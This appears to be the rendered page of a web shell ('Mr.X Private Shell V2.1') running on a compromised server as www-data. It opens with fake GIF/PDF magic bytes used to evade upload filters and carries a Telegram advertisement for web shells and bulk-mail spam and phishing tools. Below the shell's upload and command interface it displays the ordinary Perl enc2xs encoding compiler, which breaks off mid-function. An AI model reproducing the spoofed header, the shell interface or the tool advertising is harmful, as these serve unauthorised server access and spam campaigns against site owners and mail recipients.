GIF89; GIF89; %PDF- %PDF- Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.129: ~ $
#!/usr/bin/perl
    eval 'exec /usr/bin/perl -S $0 ${1+"$@"}'
	if 0; # ^ Run only under a shell
#!./perl
BEGIN {
    # @INC poking  no longer needed w/ new MakeMaker and Makefile.PL's
    # with $ENV{PERL_CORE} set
    # In case we need it in future...
    require Config; import Config;
    pop @INC if $INC[-1] eq '.';
}
use strict;
use warnings;
use Getopt::Std;
use Config;
my @orig_ARGV = @ARGV;
our $VERSION  = do { my @r = (q$Revision: 2.23 $ =~ /\d+/g); sprintf "%d."."%02d" x $#r, @r };

# These may get re-ordered.
# RAW is a do_now as inserted by &enter
# AGG is an aggregated do_now, as built up by &process

use constant {
  RAW_NEXT => 0,
  RAW_IN_LEN => 1,
  RAW_OUT_BYTES => 2,
  RAW_FALLBACK => 3,

  AGG_MIN_IN => 0,
  AGG_MAX_IN => 1,
  AGG_OUT_BYTES => 2,
  AGG_NEXT => 3,
  AGG_IN_LEN => 4,
  AGG_OUT_LEN => 5,
  AGG_FALLBACK => 6,
};

# (See the algorithm in encengine.c - we're building structures for it)

# There are two sorts of structures.
# "do_now" (an array, two variants of what needs storing) is whatever we need
# to do now we've read an input byte.
# It's housed in a "do_next" (which is how we got to it), and in turn points
# to a "do_next" which contains all the "do_now"s for the next input byte.

# There will be a "do_next" which is the start state.
# For a single byte encoding it's the only "do_next" - each "do_now" points
# back to it, and each "do_now" will cause bytes. There is no state.

# For a multi-byte encoding where all characters in the input are the same
# length, then there will be a tree of "do_now"->"do_next"->"do_now"
# branching out from the start state, one step for each input byte.
# The leaf "do_now"s will all be at the same distance from the start state,
# only the leaf "do_now"s cause output bytes, and they in turn point back to
# the start state.

# For an encoding where there are variable length input byte sequences, you
# will encounter a leaf "do_now" sooner for the shorter input sequences, but
# as before the leaves will point back to the start state.

# The system will cope with escape encodings (imagine them as a mostly
# self-contained tree for each escape state, and cross links between trees
# at the state-switching characters) but so far no input format defines these.

# The system will also cope with having output "leaves" in the middle of
# the bifurcating branches, not just at the extremities, but again no
# input format does this yet.

# There are two variants of the "do_now" structure. The first, smaller variant
# is generated by &enter as the input file is read. There is one structure
# for each input byte. Say we are mapping a single byte encoding to a
# single byte encoding, with  "ABCD" going "abcd". There will be
# 4 "do_now"s, {"A" => [...,"a",...], "B" => [...,"b",...], "C"=>..., "D"=>...}

# &process then walks the tree, building aggregate "do_now" structures for
# adjacent bytes where possible. The aggregate is for a contiguous range of
# bytes which each produce the same length of output, each move to the
# same next state, and each have the same fallback flag.
# So our 4 RAW "do_now"s above become replaced by a single structure
# containing:
# ["A", "D", "abcd", 1, ...]
# ie, for an input byte $_ in "A".."D", output 1 byte, found as
# substr ("abcd", (ord $_ - ord "A") * 1, 1)
# which maps very nicely into pointer arithmetic in C for encengine.c

sub encode_U
{
 # UTF-8 encode long hand - only covers part of perl's range
 ## my $uv = shift;
 # chr() works in native space so convert value from table
 # into that space before using chr().
 my $ch = chr(utf8::unicode_to_native($_[0]));
 # Now get core perl to encode that the way it likes.
 utf8::encode($ch);
 return $ch;
}

sub encode_S
{
 # encode single byte
 ## my ($ch,$page) = @_; return chr($ch);
 return chr $_[0];
}

sub encode_D
{
 # encode double byte MS byte first
 ## my ($ch,$page) = @_; return chr($page).chr($ch);
 return chr ($_[1]) . chr $_[0];
}

sub encode_M
{
 # encode Multi-byte - single for 0..255 otherwise double
 ## my ($ch,$page) = @_;
 ## return &encode_D if $page;
 ## return &encode_S;
 return chr ($_[1]) . chr $_[0] if $_[1];
 return chr $_[0];
}

my %encode_types = (U => \&encode_U,
                    S => \&encode_S,
                    D => \&encode_D,
                    M => \&encode_M,
                   );

# Win32 does not expand globs on command line
if ($^O eq 'MSWin32' and !$ENV{PERL_CORE}) {
    eval "\@ARGV = map(glob(\$_),\@ARGV)";
    @ARGV = @orig_ARGV unless @ARGV;
}

my %opt;
# I think these are:
# -Q to disable the duplicate codepoint test
# -S make mapping errors fatal
# -q to remove comments written to output files
# -O to enable the (brute force) substring optimiser
# -o <output> to specify the output file name (else it's the first arg)
# -f <inlist> to give a file with a list of input files (else use the args)
# -n <name> to name the encoding (else use the basename of the input file.
#Getopt::Long::Configure("bundling");
#GetOptions(\%opt, qw(C M=s S Q q O o=s f=s n=s v));
getopts('CM:SQqOo:f:n:v',\%opt);

$opt{M} and make_makefile_pl($opt{M}, @ARGV);
$opt{C} and make_configlocal_pm($opt{C}, @ARGV);
$opt{v} ||= $ENV{ENC2XS_VERBOSE};
$opt{q} ||= $ENV{ENC2XS_NO_COMMENTS};

sub verbose {
    print STDERR @_ if $opt{v};
}
sub verbosef {
    printf STDERR @_ if $opt{v};
}


# ($cpp, $static, $sized) = compiler_info($declaration)
#
# return some information about the compiler and compile options we're using:
#
#   $declaration - true if we're doing a declaration rather than a definition.
#
#   $cpp    - we're using C++
#   $static - ok to declare the arrays as static
#   $sized  - the array declarations should be sized

sub compiler_info {
    my ($declaration) = @_;

    my $ccflags = $Config{ccflags};
    if (defined $Config{ccwarnflags}) {
        $ccflags .= " " . $Config{ccwarnflags};
    }
    my $compat   = $ccflags =~ /\Q-Wc++-compat/;
    my $pedantic = $ccflags =~ /-pedantic/;

    my $cpp      = ($Config{d_cplusplus} || '') eq 'define';

    # The encpage_t tables contain recursive and mutually recursive
    # references. To allow them to compile under C++ and some restrictive
    # cc options, it may be necessary to make the tables non-static/const
    # (thus moving them from the text to the data segment) and/or not
    # include the size in the declaration.

    my $static = !(
                        $cpp
                     || ($compat && $pedantic)
                     || ($^O eq 'MacOS' && $declaration)
                  );

    # -Wc++-compat on its own warns if the array declaration is sized.
    # The easiest way to avoid this warning is simply not to include
    # the size in the declaration.
    # With -pedantic as well, the issue doesn't arise because $static
    # above becomes false.
    my $sized  = $declaration && !($compat && !$pedantic);

    return ($cpp, $static, $sized);
}


# This really should go first, else the die here causes empty (non-erroneous)
# output files to be written.
my @encfiles;
if (exists $opt{f}) {
    # -F is followed by name of file containing list of filenames
    my $flist = $opt{f};
    open(FLIST,$flist) || die "Cannot open $flist:$!";
    chomp(@encfiles = <FLIST>);
    close(FLIST);
} else {
    @encfiles = @ARGV;
}

my $cname = $opt{o} ? $opt{o} : shift(@ARGV);
unless ($cname) { #debuging a win32 nmake error-only. works via cmdline
    print "\nARGV:";
    print "$_ " for @ARGV;
    print "\nopt:";
    print "  $_ => ",defined $opt{$_}?$opt{$_}:"undef","\n" for keys %opt;
}
chmod(0666,$cname) if -f $cname && !-w $cname;
open(C,">", $cname) || die "Cannot open $cname:$!";

my $dname = $cname;
my $hname = $cname;

my ($doC,$doEnc,$doUcm,$doPet);

if ($cname =~ /\.(c|xs)$/i) # VMS may have upcased filenames with DECC$ARGV_PARSE_STYLE defined
 {
  $doC = 1;
  $dname =~ s/(\.[^\.]*)?$/.exh/;
  chmod(0666,$dname) if -f $cname && !-w $dname;
  open(D,">", $dname) || die "Cannot open $dname:$!";
  $hname =~ s/(\.[^\.]*)?$/.h/;
  chmod(0666,$hname) if -f $cname && !-w $hname;
  open(H,">", $hname) || die "Cannot open $hname:$!";

  foreach my $fh (\*C,\*D,\*H)
  {
   print $fh <<"END" unless $opt{'q'};
/*
 !!!!!!!   DO NOT EDIT THIS FILE   !!!!!!!
 This file was autogenerated by:
 $^X $0 @orig_ARGV
 enc2xs VERSION $VERSION
*/
END
  }

  if ($cname =~ /(\w+)\.xs$/)
   {
    print C "#define PERL_NO_GET_CONTEXT\n";
    print C "#include <EXTERN.h>\n";
    print C "#include <perl.h>\n";
    print C "#include <XSUB.h>\n";
   }
  print C "#include \"encode.h\"\n\n";

 }
elsif ($cname =~ /\.enc$/)
 {
  $doEnc = 1;
 }
elsif ($cname =~ /\.ucm$/)
 {
  $doUcm = 1;
 }
elsif ($cname =~ /\.pet$/)
 {
  $doPet = 1;
 }

my %encoding;
my %strings;
my $string_acc;
my %strings_in_acc;

my $saved = 0;
my $subsave = 0;
my $strings = 0;

sub cmp_name
{
 if ($a =~ /^.*-(\d+)/)
  {
   my $an = $1;
   if ($b =~ /^.*-(\d+)/)
    {
     my $r = $an <=> $1;
     return $r if $r;
    }
  }
 return $a cmp $b;
}


foreach my $enc (sort cmp_name @encfiles)
 {
  my ($name,$sfx) = $enc =~ /^.*?([\w-]+)\.(enc|ucm)$/;
  $name = $opt{'n'} if exists $opt{'n'};
  if (open(E,$enc))
   {
    if ($sfx eq 'enc')
     {
      compile_enc(\*E,lc($name));
     }
    else
     {
      compile_ucm(\*E,lc($name));
     }
   }
  else
   {
    warn "Cannot open $enc for $name:$!";
   }
 }

if ($doC)
 {
  verbose "Writing compiled form\n";
  foreach my $name (sort cmp_name keys %encoding)
   {
    my ($e2u,$u2e,$erep,$min_el,$max_el) = @{$encoding{$name}};
    process($name.'_utf8',$e2u);
    addstrings(\*C,$e2u);

    process('utf8_'.$name,$u2e);
    addstrings(\*C,$u2e);
   }
  outbigstring(\*C,"enctable");
  foreach my $name (sort cmp_name keys %encoding)
   {
    my ($e2u,$u2e,$erep,$min_el,$max_el) = @{$encoding{$name}};
    outtable(\*C,$e2u, "enctable");
    outtable(\*C,$u2e, "enctable");

    # push(@{$encoding{$name}},outstring(\*C,$e2u->{Cname}.'_def',$erep));
   }
  my ($cpp) = compiler_info(0);
  my $ext  = $cpp ? 'extern "C"' : "extern";
  my $exta = $cpp ? 'extern "C"' : "static";
  my $extb = $cpp ? 'extern "C"' : "";
  foreach my $enc (sort cmp_name keys %encoding)
   {
    # my ($e2u,$u2e,$rep,$min_el,$max_el,$rsym) = @{$encoding{$enc}};
    my ($e2u,$u2e,$rep,$min_el,$max_el) = @{$encoding{$enc}};
    #my @info = ($e2u->{Cname},$u2e->{Cname},$rsym,length($rep),$min_el,$max_el);
    my $replen = 0; 
    $replen++ while($rep =~ /\G\\x[0-9A-Fa-f]/g);
    my $sym = "${enc}_encoding";
    $sym =~ s/\W+/_/g;
    my @info = ($e2u->{Cname},$u2e->{Cname},"${sym}_rep_character",$replen,
        $min_el,$max_el);
    print C "${exta} const U8 ${sym}_rep_character[] = \"$rep\";\n";
    print C "${exta} const char ${sym}_enc_name[] = \"$enc\";\n\n";
    print C "${extb} const encode_t $sym = \n";
    # This is to make null encoding work -- dankogai
    for (my $i = (scalar @info) - 1;  $i >= 0; --$i){
    $info[$i] ||= 1;
    }
    # end of null tweak -- dankogai
    print C " {",join(',',@info,"{${sym}_enc_name,(const char *)0}"),"};\n\n";
   }

  foreach my $enc (sort cmp_name keys %encoding)
   {
    my $sym = "${enc}_encoding";
    $sym =~ s/\W+/_/g;
    print H "${ext} encode_t $sym;\n";
    print D " Encode_XSEncoding(aTHX_ &$sym);\n";
   }

  if ($cname =~ /(\w+)\.xs$/)
   {
    my $mod = $1;
    print C <<'END';

static void
Encode_XSEncoding(pTHX_ encode_t *enc)
{
 dSP;
 HV *stash = gv_stashpv("Encode::XS", TRUE);
 SV *iv    = newSViv(PTR2IV(enc));
 SV *sv    = sv_bless(newRV_noinc(iv),stash);
 int i = 0;
 /* with the SvLEN() == 0 hack, PVX won't be freed. We cast away name's
 constness, in the hope that perl won't mess with it. */
 assert(SvTYPE(iv) >= SVt_PV); assert(SvLEN(iv) == 0);
 SvFLAGS(iv) |= SVp_POK;
 SvPVX(iv) = (char*) enc->name[0];
 PUSHMARK(sp);
 XPUSHs(sv);
 while (enc->name[i])
  {
   const char *name = enc->name[i++];
   XPUSHs(sv_2mortal(newSVpvn(name,strlen(name))));
  }
 PUTBACK;
 call_pv("Encode::define_encoding",G_DISCARD);
 SvREFCNT_dec(sv);
}

END

    print C "\nMODULE = Encode::$mod\tPACKAGE = Encode::$mod\n\n";
    print C "BOOT:\n{\n";
    print C "#include \"$dname\"\n";
    print C "}\n";
   }
  # Close in void context is bad, m'kay
  close(D) or warn "Error closing '$dname': $!";
  close(H) or warn "Error closing '$hname': $!";

  my $perc_saved    = $saved/($strings + $saved) * 100;
  my $perc_subsaved = $subsave/($strings + $subsave) * 100;
  verbosef "%d bytes in string tables\n",$strings;
  verbosef "%d bytes (%.3g%%) saved spotting duplicates\n",
    $saved, $perc_saved              if $saved;
  verbosef "%d bytes (%.3g%%) saved using substrings\n",
    $subsave, $perc_subsaved         if $subsave;
 }
elsif ($doEnc)
 {
  foreach my $name (sort cmp_name keys %encoding)
   {
    my ($e2u,$u2e,$erep,$min_el,$max_el) = @{$encoding{$name}};
    output_enc(\*C,$name,$e2u);
   }
 }
elsif ($doUcm)
 {
  foreach my $name (sort cmp_name keys %encoding)
   {
    my ($e2u,$u2e,$erep,$min_el,$max_el) = @{$encoding{$name}};
    output_ucm(\*C,$name,$u2e,$erep,$min_el,$max_el);
   }
 }

# writing half meg files and then not checking to see if you just filled the
# disk is bad, m'kay
close(C) or die "Error closing '$cname': $!";

# End of the main program.

sub compile_ucm
{
 my ($fh,$name) = @_;
 my $e2u = {};
 my $u2e = {};
 my $cs;
 my %attr;
 while (<$fh>)
  {
   s/#.*$//;
   last if /^\s*CHARMAP\s*$/i;
   if (/^\s*<(\w+)>\s+"?([^"]*)"?\s*$/i) # " # Grrr
    {
     $attr{$1} = $2;
    }
  }
 if (!defined($cs =  $attr{'code_set_name'}))
  {
   warn "No <code_set_name> in $name\n";
  }
 else
  {
   $name = $cs unless exists $opt{'n'};
  }
 my $erep;
 my $urep;
 my $max_el;
 my $min_el;
 if (exists $attr{'subchar'})
  {
   #my @byte;
   #$attr{'subchar'} =~ /^\s*/cg;
   #push(@byte,$1) while $attr{'subchar'} =~ /\G\\x([0-9a-f]+)/icg;
   #$erep = join('',map(chr(hex($_)),@byte));
   $erep = $attr{'subchar'}; 
   $erep =~ s/^\s+//; $erep =~ s/\s+$//;
  }
 print "Reading $name ($cs)\n"
   unless defined $ENV{MAKEFLAGS}
      and $ENV{MAKEFLAGS} =~ /\b(s|silent|quiet)\b/;
 my $nfb = 0;
 my $hfb = 0;
 while (<$fh>)
  {
   s/#.*$//;
   last if /^\s*END\s+CHARMAP\s*$/i;
   next if /^\s*$/;
   my (@uni, @byte) = ();
   my ($uni, $byte, $fb) = m/^(\S+)\s+(\S+)\s+(\S+)\s+/o
       or die "Bad line: $_";
   while ($uni =~  m/\G<([U0-9a-fA-F\+]+)>/g){
       push @uni, map { substr($_, 1) } split(/\+/, $1);
   }
   while ($byte =~ m/\G\\x([0-9a-fA-F]+)/g){
       push @byte, $1;
   }
   if (@uni)
    {
     my $uch =  join('', map { encode_U(hex($_)) } @uni );
     my $ech = join('',map(chr(hex($_)),@byte));
     my $el  = length($ech);
     $max_el = $el if (!defined($max_el) || $el > $max_el);
     $min_el = $el if (!defined($min_el) || $el < $min_el);
     if (length($fb))
      {
       $fb = substr($fb,1);
       $hfb++;
      }
     else
      {
       $nfb++;
       $fb = '0';
      }
     # $fb is fallback flag
     # 0 - round trip safe
     # 1 - fallback for unicode -> enc
     # 2 - skip sub-char mapping
     # 3 - fallback enc -> unicode
     enter($u2e,$uch,$ech,$u2e,$fb+0) if ($fb =~ /[01]/);
     enter($e2u,$ech,$uch,$e2u,$fb+0) if ($fb =~ /[03]/);
    }
   else
    {
     warn $_;
    }
  }
 if ($nfb && $hfb)
  {
   die "$nfb entries without fallback, $hfb entries with\n";
  }
 $encoding{$name} = [$e2u,$u2e,$erep,$min_el,$max_el];
}



sub compile_enc
{
 my ($fh,$name) = @_;
 my $e2u = {};
 my $u2e = {};

 my $type;
 while ($type = <$fh>)
  {
   last if $type !~ /^\s*#/;
  }
 chomp($type);
 return if $type eq 'E';
 # Do the hash lookup once, rather than once per function call. 4% speedup.
 my $type_func = $encode_types{$type};
 my ($def,$sym,$pages) = split(/\s+/,scalar(<$fh>));
 warn "$type encoded $name\n";
 my $rep = '';
 # Save a defined test by setting these to defined values.
 my $min_el = ~0; # A very big integer
 my $max_el = 0;  # Anything must be longer than 0
 {
  my $v = hex($def);
  $rep = &$type_func($v & 0xFF, ($v >> 8) & 0xffe);
 }
 my $errors;
 my $seen;
 # use -Q to silence the seen test. Makefile.PL uses this by default.
 $seen = {} unless $opt{Q};
 do
  {
   my $line = <$fh>;
   chomp($line);
   my $page = hex($line);
   my $ch = 0;
   my $i = 16;
   do
    {
     # So why is it 1% faster to leave the my here?
     my $line = <$fh>;
     $line =~ s/\r\n$/\n/;
     die "$.:${line}Line should be exactly 65 characters long including
     newline (".length($line).")" unless length ($line) == 65;
     # Split line into groups of 4 hex digits, convert groups to ints
     # This takes 65.35		
     # map {hex $_} $line =~ /(....)/g
     # This takes 63.75 (2.5% less time)
     # unpack "n*", pack "H*", $line
     # There's an implicit loop in map. Loops are bad, m'kay. Ops are bad, m'kay
     # Doing it as while ($line =~ /(....)/g) took 74.63
     foreach my $val (unpack "n*", pack "H*", $line)
      {
       next if $val == 0xFFFD;
       my $ech = &$type_func($ch,$page);
       if ($val || (!$ch && !$page))
        {
         my $el  = length($ech);
         $max_el = $el if $el > $max_el;
         $min_el = $el if $el < $min_el;
         my $uch = encode_U($val);
         if ($seen) {
           # We're doing the test.
           # We don't need to read this quickly, so storing it as a scalar,
           # rather than 3 (anon array, plus the 2 scalars it holds) saves
           # RAM and may make us faster on low RAM systems. [see __END__]
           if (exists $seen->{$uch})
             {
               warn sprintf("U%04X is %02X%02X and %04X\n",
                            $val,$page,$ch,$seen->{$uch});
               $errors++;
             }
           else
             {
               $seen->{$uch} = $page << 8 | $ch;
             }
         }
         # Passing 2 extra args each time is 3.6% slower!
         # Even with having to add $fallback ||= 0 later
         enter_fb0($e2u,$ech,$uch);
         enter_fb0($u2e,$uch,$ech);
        }
       else
        {
         # No character at this position
         # enter($e2u,$ech,undef,$e2u);
        }
       $ch++;
      }
    } while --$i;
  } while --$pages;
 die "\$min_el=$min_el, \$max_el=$max_el - seems we read no lines"
   if $min_el > $max_el;
 die "$errors mapping conflicts\n" if ($errors && $opt{'S'});
 $encoding{$name} = [$e2u,$u2e,$rep,$min_el,$max_el];
}

# my ($a,$s,$d,$t,$fb) = @_;
sub enter {
  my ($current,$inbytes,$outbytes,$next,$fallback) = @_;
  # state we shift to after this (multibyte) input character defaults to same
  # as current state.
  $next ||= $current;
  # Making sure it is defined seems to be faster than {no warnings;} in
  # &process, or passing it in as 0 explicitly.
  # XXX $fallback ||= 0;

  # Start at the beginning and work forwards through the string to zero.
  # effectively we are removing 1 character from the front each time
  # but we don't actually edit the string. [this alone seems to be 14% speedup]
  # Hence -$pos is the length of the remaining string.
  my $pos = -length $inbytes;
  while (1) {
    my $byte = substr $inbytes, $pos, 1;
    #  RAW_NEXT => 0,
    #  RAW_IN_LEN => 1,
    #  RAW_OUT_BYTES => 2,
    #  RAW_FALLBACK => 3,
    # to unicode an array would seem to be better, because the pages are dense.
    # from unicode can be very sparse, favouring a hash.
    # hash using the bytes (all length 1) as keys rather than ord value,
    # as it's easier to sort these in &process.

    # It's faster to always add $fallback even if it's undef, rather than
    # choosing between 3 and 4 element array. (hence why we set it defined
    # above)
    my $do_now = $current->{Raw}{$byte} ||= [{},-$pos,'',$fallback];
    # When $pos was -1 we were at the last input character.
    unless (++$pos) {
      $do_now->[RAW_OUT_BYTES] = $outbytes;
      $do_now->[RAW_NEXT] = $next;
      return;
    }
    # Tail recursion. The intermediate state may not have a name yet.
    $current = $do_now->[RAW_NEXT];
  }
}

# This is purely for optimisation. It's just &enter hard coded for $fallback
# of 0, using only a 3 entry array ref to save memory for every entry.
sub enter_fb0 {
  my ($current,$inbytes,$outbytes,$next) = @_;
  $next ||= $current;

  my $pos = -length $inbytes;
  while (1) {
    my $byte = substr $inbytes, $pos, 1;
    my $do_now = $current->{Raw}{$byte} ||= [{},-$pos,''];
    unless (++$pos) {
      $do_now->[RAW_OUT_BYTES] = $outbytes;
      $do_now->[RAW_NEXT] = $next;
      return;
    }
    $current = $do_now->[RAW_NEXT];
  }
}

sub process
{
  my ($name,$a) = @_;
  $name =~ s/\W+/_/g;
  $a->{Cname} = $name;
  my $raw = $a->{Raw};
  my ($l, $agg_max_in, $agg_next, $agg_in_len, $agg_out_len, $agg_fallback);
  my @ent;
  $agg_max_in = 0;
  foreach my $key (sort keys %$raw) {
    #  RAW_NEXT => 0,
    #  RAW_IN_LEN => 1,
    #  RAW_OUT_BYTES => 2,
    #  RAW_FALLBACK => 3,
    my ($next, $in_len, $out_bytes, $fallback) = @{$raw->{$key}};
    # Now we are converting from raw to aggregate, switch from 1 byte strings
    # to numbers
    my $b = ord $key;
    $fallback ||= 0;
    if ($l &&
        # If this == fails, we're going to reset $agg_max_in below anyway.
        $b == ++$agg_max_in &&
        # References in numeric context give the pointer as an int.
        $agg_next == $next &&
        $agg_in_len == $in_len &&
        $agg_out_len == length $out_bytes &&
        $agg_fallback == $fallback
        # && length($l->[AGG_OUT_BYTES]) < 16
       ) {
      #     my $i = ord($b)-ord($l->[AGG_MIN_IN]);
      # we can aggregate this byte onto the end.
      $l->[AGG_MAX_IN] = $b;
      $l->[AGG_OUT_BYTES] .= $out_bytes;
    } else {
      # AGG_MIN_IN => 0,
      # AGG_MAX_IN => 1,
      # AGG_OUT_BYTES => 2,
      # AGG_NEXT => 3,
      # AGG_IN_LEN => 4,
      # AGG_OUT_LEN => 5,
      # AGG_FALLBACK => 6,
      # Reset the last thing we saw, plus set 5 lexicals to save some derefs.
      # (only gains .6% on euc-jp  -- is it worth it?)
      push @ent, $l = [$b, $agg_max_in = $b, $out_bytes, $agg_next = $next,
                       $agg_in_len = $in_len, $agg_out_len = length $out_bytes,
                       $agg_fallback = $fallback];
    }
    if (exists $next->{Cname}) {
      $next->{'Forward'} = 1 if $next != $a;
    } else {
      process(sprintf("%s_%02x",$name,$b),$next);
    }
  }
  # encengine.c rules say that last entry must be for 255
  if ($agg_max_in < 255) {
    push @ent, [1+$agg_max_in, 255,undef,$a,0,0];
  }
  $a->{'Entries'} = \@ent;
}


sub addstrings
{
 my ($fh,$a) = @_;
 my $name = $a->{'Cname'};
 # String tables
 foreach my $b (@{$a->{'Entries'}})
  {
   next unless $b->[AGG_OUT_LEN];
   $strings{$b->[AGG_OUT_BYTES]} = undef;
  }
 if ($a->{'Forward'})
  {
   my ($cpp, $static, $sized) = compiler_info(1);
   my $count = $sized ? scalar(@{$a->{'Entries'}}) : '';
   if ($static) {
     # we cannot ask Config for d_plusplus since we can override CC=g++-6 on the cmdline
     print $fh "#ifdef __cplusplus\n"; # -fpermissive since g++-6
     print $fh "extern encpage_t $name\[$count];\n";
     print $fh "#else\n";
     print $fh "static const encpage_t $name\[$count];\n";
     print $fh "#endif\n";
   } else {
     print $fh "extern encpage_t $name\[$count];\n";
   }
  }
 $a->{'DoneStrings'} = 1;
 foreach my $b (@{$a->{'Entries'}})
  {
   my ($s,$e,$out,$t,$end,$l) = @$b;
   addstrings($fh,$t) unless $t->{'DoneStrings'};
  }
}

sub outbigstring
{
  my ($fh,$name) = @_;

  $string_acc = '';

  # Make the big string in the string accumulator. Longest first, on the hope
  # that this makes it more likely that we find the short strings later on.
  # Not sure if it helps sorting strings of the same length lexically.
  foreach my $s (sort {length $b <=> length $a || $a cmp $b} keys %strings) {
    my $index = index $string_acc, $s;
    if ($index >= 0) {
      $saved += length($s);
      $strings_in_acc{$s} = $index;
    } else {
    OPTIMISER: {
    if ($opt{'O'}) {
      my $sublength = length $s;
      while (--$sublength > 0) {
        # progressively lop characters off the end, to see if the start of
        # the new string overlaps the end of the accumulator.
        if (substr ($string_acc, -$sublength)
        eq substr ($s, 0, $sublength)) {
          $subsave += $sublength;
          $strings_in_acc{$s} = length ($string_acc) - $sublength;
          # append the last bit on the end.
          $string_acc .= substr ($s, $sublength);
          last OPTIMISER;
        }
        # or if the end of the new string overlaps the start of the
        # accumulator
        next unless substr ($string_acc, 0, $sublength)
          eq substr ($s, -$sublength);
        # well, the last $sublength characters of the accumulator match.
        # so as we're prepending to the accumulator, need to shift all our
        # existing offsets forwards
        $_ += $sublength foreach values %strings_in_acc;
        $subsave += $sublength;
        $strings_in_acc{$s} = 0;
        # append the first bit on the start.
        $string_acc = substr ($s, 0, -$sublength) . $string_acc;
        last OPTIMISER;
      }
    }
    # Optimiser (if it ran) found nothing, so just going have to tack the
    # whole thing on the end.
    $strings_in_acc{$s} = length $string_acc;
    $string_acc .= $s;
      };
    }
  }

  $strings = length $string_acc;
  my ($cpp) = compiler_info(0);
  my $var = $cpp ? '' : 'static';
  my $definition = "\n$var const U8 $name\[$strings] = { " .
    join(',',unpack "C*",$string_acc);
  # We have a single long line. Split it at convenient commas.
  print $fh $1, "\n" while $definition =~ /\G(.{74,77},)/gcs;
  print $fh substr ($definition, pos $definition), " };\n";
}

sub findstring {
  my ($name,$s) = @_;
  my $offset = $strings_in_acc{$s};
  die "Can't find string " . join (',',unpack "C*",$s) . " in accumulator"
    unless defined $offset;
  "$name + $offset";
}

sub outtable
{
 my ($fh,$a,$bigname) = @_;
 my $name = $a->{'Cname'};
 $a->{'Done'} = 1;
 foreach my $b (@{$a->{'Entries'}})
  {
   my ($s,$e,$out,$t,$end,$l) = @$b;
   outtable($fh,$t,$bigname) unless $t->{'Done'};
  }
 my ($cpp, $static) = compiler_info(0);
 my $count = scalar(@{$a->{'Entries'}});
 if ($static) {
     print $fh "#ifdef __cplusplus\n"; # -fpermissive since g++-6
     print $fh "encpage_t $name\[$count] = {\n";
     print $fh "#else\n";
     print $fh "static const encpage_t $name\[$count] = {\n";
     print $fh "#endif\n";
 } else {
   print $fh "\nencpage_t $name\[$count] = {\n";
 }
 foreach my $b (@{$a->{'Entries'}})
  {
   my ($sc,$ec,$out,$t,$end,$l,$fb) = @$b;
   # $end |= 0x80 if $fb; # what the heck was on your mind, Nick?  -- Dan
   print  $fh "{";
   if ($l)
    {
     printf $fh findstring($bigname,$out);
    }
   else
    {
     print  $fh "0";
    }
   print  $fh ",",$t->{Cname};
   printf $fh ",0x%02x,0x%02x,$l,$end},\n",$sc,$ec;
  }
 print $fh "};\n";
}

sub output_enc
{
 my ($fh,$name,$a) = @_;
 die "Changed - fix me for new structure";
 foreach my $b (sort keys %$a)
  {
   my ($s,$e,$out,$t,$end,$l,$fb) = @{$a->{$b}};
  }
}

sub decode_U
{
 my $s = shift;
}

my @uname;
sub char_names{} # cf. https://rt.cpan.org/Ticket/Display.html?id=132471

sub output_ucm_page
{
  my ($cmap,$a,$t,$pre) = @_;
  # warn sprintf("Page %x\n",$pre);
  my $raw = $t->{Raw};
  foreach my $key (sort keys %$raw) {
    #  RAW_NEXT => 0,
    #  RAW_IN_LEN => 1,
    #  RAW_OUT_BYTES => 2,
    #  RAW_FALLBACK => 3,
    my ($next, $in_len, $out_bytes, $fallback) = @{$raw->{$key}};
    my $u = ord $key;
    $fallback ||= 0;

    if ($next != $a && $next != $t) {
      output_ucm_page($cmap,$a,$next,(($pre|($u &0x3F)) << 6)&0xFFFF);
    } elsif (length $out_bytes) {
      if ($pre) {
        $u = $pre|($u &0x3f);
      }
      my $s = sprintf "<U%04X> ",$u;
      #foreach my $c (split(//,$out_bytes)) {
      #  $s .= sprintf "\\x%02X",ord($c);
      #}
      # 9.5% faster changing that loop to this:
      $s .= sprintf +("\\x%02X" x length $out_bytes), unpack "C*", $out_bytes;
      $s .= sprintf " |%d # %s\n",($fallback ? 1 : 0),$uname[$u];
      push(@$cmap,$s);
    } else {
      warn join(',',$u, @{$raw->{$key}},$a,$t);
    }
  }
}

sub output_ucm
{
 my ($fh,$name,$h,$rep,$min_el,$max_el) = @_;
 print $fh "# $0 @orig_ARGV\n" unless $opt{'q'};
 print $fh "<code_set_name> \"$name\"\n";
 char_names();
 if (defined $min_el)
  {
   print $fh "<mb_cur_min> $min_el\n";
  }
 if (defined $max_el)
  {
   print $fh "<mb_cur_max> $max_el\n";
  }
 if (defined $rep)
  {
   print $fh "<subchar> ";
   foreach my $c (split(//,$rep))
    {
     printf $fh "\\x%02X",ord($c);
    }
   print $fh "\n";
  }
 my @cmap;
 output_ucm_page(\@cmap,$h,$h,0);
 print $fh "#\nCHARMAP\n";
 foreach my $line (sort { substr($a,8) cmp substr($b,8) } @cmap)
  {
   print $fh $line;
  }
 print $fh "END CHARMAP\n";
}

use vars qw(
    $_Enc2xs
    $_Version
    $_Inc
    $_E2X 
    $_Name
    $_TableFiles
    $_Now
);

sub find_e2x{
    eval { require File::Find; };
    my (@inc, %e2x_dir);
    for my $inc (grep -d, @INC){
    push @inc, $inc unless $inc eq '.'; #skip current dir
    }
    File::Find::find(
         { wanted => sub {
         my ($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size,
             $atime,$mtime,$ctime,$blksize,$blocks)
             = lstat($_) or return;
         -f _ or return;
         if (/^.*\.e2x$/o){
             no warnings 'once';
             $e2x_dir{$File::Find::dir} ||= $mtime;
         }
         return;
         }, follow => 1}, @inc);
    warn join("\n", keys %e2x_dir), "\n";
    for my $d (sort {$e2x_dir{$a} <=> $e2x_dir{$b}} keys %e2x_dir){
    $_E2X = $d;
